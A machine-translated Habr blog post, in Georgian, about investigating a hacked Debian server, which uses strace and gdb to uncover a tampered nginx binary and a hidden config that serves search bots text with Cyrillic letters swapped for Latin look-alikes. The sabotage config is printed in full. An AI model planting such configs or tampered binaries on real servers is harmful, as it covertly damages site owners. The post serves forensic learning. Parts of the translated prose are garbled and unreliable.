როდესაც "a" არ არის "a"-ს ტოლი. ჰაკის კვალდაკვალ

ყველაზე უსიამოვნო ამბავი მოხდა ჩემს ერთ-ერთ მეგობარს. მაგრამ რამდენადაც უსიამოვნო აღმოჩნდა მიხაილისთვის, ისეთივე გასართობი იყო ჩემთვის.

უნდა ვთქვა, რომ ჩემი მეგობარი საკმაოდ UNIX-მომხმარებელი: შეუძლია თავად დააინსტალიროს სისტემა mysql, php და გააკეთე მარტივი პარამეტრები nginx.
და მას აქვს ათეული ან ერთნახევარი ვებგვერდი, რომელიც ეძღვნება სამშენებლო ინსტრუმენტებს.

ერთ-ერთი ასეთი საიტი, რომელიც ეძღვნება ჯაჭვის ხერხებს, მყარად დგას საძიებო სისტემების TOP-ში. ეს საიტი არის არაკომერციული მიმომხილველი, მაგრამ ვიღაცამ მასზე თავდასხმის ჩვევა მიიღო. რომ DDoS, შემდეგ უხეში ძალა, შემდეგ წერენ უხამს კომენტარებს და უგზავნიან შეურაცხყოფას ჰოსტინგს და RKN-ს.
უცებ ყველაფერი დაწყნარდა და ეს სიმშვიდე არ იყო კარგი და საიტმა თანდათან დაიწყო ძიების შედეგების ზედა ხაზის დატოვება.

ეს იყო გამონათქვამი, შემდეგ თავად ადმინის ზღაპარი.

ძილის დრო იყო, როცა ტელეფონმა დარეკა: „სან, ჩემს სერვერს არ უყურებ? მეჩვენება, რომ გატეხეს, ამას ვერ ვამტკიცებ, მაგრამ გრძნობა უკვე მესამე კვირაა არ მტოვებს. იქნებ დროა მივიღო პარანოიის მკურნალობა?”

რასაც მოჰყვა ნახევარსაათიანი დისკუსია, რომელიც შეიძლება შეჯამდეს შემდეგნაირად:

• გატეხვის ნიადაგი საკმაოდ ნაყოფიერი იყო;
• თავდამსხმელს შეეძლო სუპერმომხმარებლის უფლებების მოპოვება;
• თავდასხმა (თუ ეს მოხდა) იყო გამიზნული კონკრეტულად ამ საიტზე;
• პრობლემური ადგილები გამოსწორებულია და თქვენ უბრალოდ უნდა გესმოდეთ იყო თუ არა რაიმე შეღწევა;
• ჰაკერმა ვერ იმოქმედა საიტის კოდსა და მონაცემთა ბაზებზე.

რაც შეეხება ბოლო პუნქტს.

მხოლოდ თეთრი წინა მხარის IP უყურებს სამყაროს. ბექენდებსა და ფრონტენდს შორის არ ხდება გაცვლა http(s) გარდა, მომხმარებლები/პაროლები განსხვავებულია, არცერთი გასაღებები არ არის გაცვლილი. ნაცრისფერ მისამართებზე, 80/443-ის გარდა ყველა პორტი დახურულია. თეთრი backend IP-ები ცნობილია მხოლოდ ორი მომხმარებლისთვის, რომლებსაც მიხაილი მთლიანად ენდობა.

დამონტაჟებულია წინა მხარეს Debian 9 და როდესაც ზარი განხორციელდება, სისტემა იზოლირებულია სამყაროსგან გარე firewall-ით და გაჩერებულია.

„კარგი, მომეცი წვდომა“, გადავწყვიტე ძილი ერთი საათით გადავდო. "მე ჩემი თვალით ვნახავ."

აქ და შემდგომში:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

ვეძებთ შესაძლო ჰაკერს

მე ვიწყებ სერვერს, პირველ რიგში სამაშველო რეჟიმი. ვამაგრებ დისკებს და ვაფურცლავ მათ ავტორიზაცია -მორები, ისტორია, სისტემის ჟურნალები და ა.შ., შეძლებისდაგვარად, ვამოწმებ ფაილის შექმნის თარიღებს, თუმცა მესმის, რომ ნორმალური კრეკერი თავის თავზე "დაიძროდა" და მიშამ უკვე ბევრი "გააბიჯა" სანამ საკუთარ თავს ეძებდა. .

ვიწყებ ნორმალურ რეჟიმში, ჯერ არ მესმის, რა ვეძებო, ვსწავლობ კონფიგურაციებს. პირველ რიგში მაინტერესებს nginx რადგან, ზოგადად, მის გარდა სხვა არაფერია წინა მხარეს.
კონფიგურაციები მცირეა, კარგად სტრუქტურირებული ათეულ ფაილად, მე უბრალოდ ვუყურებ მათ კატა'ოჰ სათითაოდ. როგორც ჩანს, ყველაფერი სუფთაა, მაგრამ არასოდეს იცი, რამე გამომრჩა თუ არა მოიცავსნება მომეცით შევადგინო სრული სია:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

ვერ გავიგე: "სად არის ჩამონათვალი?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

ჩამონათვალის კითხვას ემატება მეორე კითხვა: "რატომ არის nginx-ის ასეთი უძველესი ვერსია?"

გარდა ამისა, სისტემა თვლის, რომ დაინსტალირებულია უახლესი ვერსია:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Გირეკავ:
-მიშა რატომ შეიკრიბე თავიდან nginx?
- გაიღვიძე, მე არც კი ვიცი როგორ გავაკეთო ეს!
- კარგი, დაიძინე...

ნინიქსი ის აშკარად აღდგენილია და ჩამონათვალის გამომავალი „-T“-ის გამოყენებით დამალულია მიზეზის გამო. ჰაკერობაზე ეჭვი აღარ გეპარება და შეგიძლია უბრალოდ მიიღო და (რადგან მიშამ სერვერი მაინც შეცვალა ახლით) პრობლემა მოგვარებულად ჩათვალო.

და მართლაც, რადგან ვიღაცამ მიიღო უფლებები rootაჰ, მაშინ მხოლოდ ამის გაკეთებას აზრი აქვს სისტემის ხელახლა ინსტალაცია, და უაზრო იყო იმის ძებნა, რა იყო იქ, მაგრამ ამჯერად ცნობისმოყვარეობამ დაამარცხა ძილი. როგორ გავარკვიოთ, რისი დამალვა სურდათ ჩვენგან?

შევეცადოთ მივყვეთ:

$ strace nginx -T

ჩვენ ვუყურებთ, აშკარად არ არის საკმარისი ხაზები კვალში

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

უბრალოდ გასართობად, მოდით შევადაროთ დასკვნები.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

მგონი კოდის ნაწილია /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

შემცირდა ფორმამდე:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

ან

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

ამიტომ სია "-T"-ით არ არის ნაჩვენები.

მაგრამ როგორ ვნახოთ ჩვენი კონფიგურაცია?

თუ ჩემი აზრი სწორია და პრობლემა მხოლოდ ცვლადშია ngx_dump_config ვცადოთ მისი დაყენება გდბ, საბედნიეროდ არის გასაღები -- ერთად-cc-opt -g წარმოადგინოს და იმედი მაქვს, რომ ოპტიმიზაცია -O2 ეს არ დაგვიშავებს. ამავე დროს, რადგან არ ვიცი როგორ ngx_dump_config შეიძლება დამუშავდეს შემთხვევა 'T':, ჩვენ არ დავარქმევთ ამ ბლოკს, მაგრამ დააინსტალირეთ მისი გამოყენებით შემთხვევა 't':

რატომ შეგიძლიათ გამოიყენოთ '-t' ასევე '-T'ბლოკის დამუშავება if (ngx_dump_config) შიგნით ხდება if (ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

რა თქმა უნდა, თუ კოდი შეიცვლება ამ ნაწილში და არა შემთხვევა 'T':, მაშინ ჩემი მეთოდი არ იმუშავებს.

ტესტი nginx.confპრობლემის ექსპერიმენტულად გადაჭრის შემდეგ დადგინდა, რომ მავნე პროგრამის მუშაობისთვის საჭიროა მინიმალური კონფიგურაცია. nginx ტიპი:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

მოკლედ გამოვიყენებთ სტატიაში.

გაუშვით გამართვა

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

ნაბიჯებში:

• დააყენეთ წყვეტის წერტილი ფუნქციაში მთავარი ()
• გაუშვით პროგრამა
• შეცვალეთ ცვლადის მნიშვნელობა, რომელიც განსაზღვრავს კონფიგურაციის გამომავალს ngx_dump_config=1
• პროგრამის გაგრძელება/დასრულება

როგორც ვხედავთ, რეალური კონფიგურაცია განსხვავდება ჩვენისგან, მისგან ვირჩევთ პარაზიტულ ნაწილს:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

მოდით შევხედოთ რა ხდება აქ თანმიმდევრობით.

Განსაზღვრული მომხმარებლის აგენტი's yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

სერვისის გვერდები გამორიცხულია დასაწყისში:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

და მათთვის, ვინც ზემოთ ჩამოთვლილ ორივე პირობას ექვემდებარება

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

ტექსტში html- გვერდები იცვლება 'ო' on "ო" и 'A' on "ა":

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

მართალია, ერთადერთი დახვეწილობა ის არის 'a' != 'a' როგორც 'ო' != 'ო':

ამრიგად, საძიებო სისტემის ბოტები, ჩვეულებრივი 100% კირილიცის ტექსტის ნაცვლად, ლათინურით გაზავებულ შეცვლილ ნაგავს იღებენ. "ა" и "ო". მე არ ვბედავ განვიხილო, თუ როგორ აისახება ეს SEO-ზე, მაგრამ ნაკლებად სავარაუდოა, რომ ასოების ასეთმა შერევამ დადებითი გავლენა იქონიოს პოზიციებზე ძიების შედეგებში.

რა ვთქვა, ფანტაზიის მქონე ბიჭებო.

ლიტერატურა

გამართვა GDB-ით
gdb (1) — Linux man page
strace(1) — Linux-ის კაცის გვერდი
Nginx - მოდული ngx_http_sub_module
ხერხების, ჯაჭვის და ელექტრო ხერხების შესახებ

წყარო: www.habr.com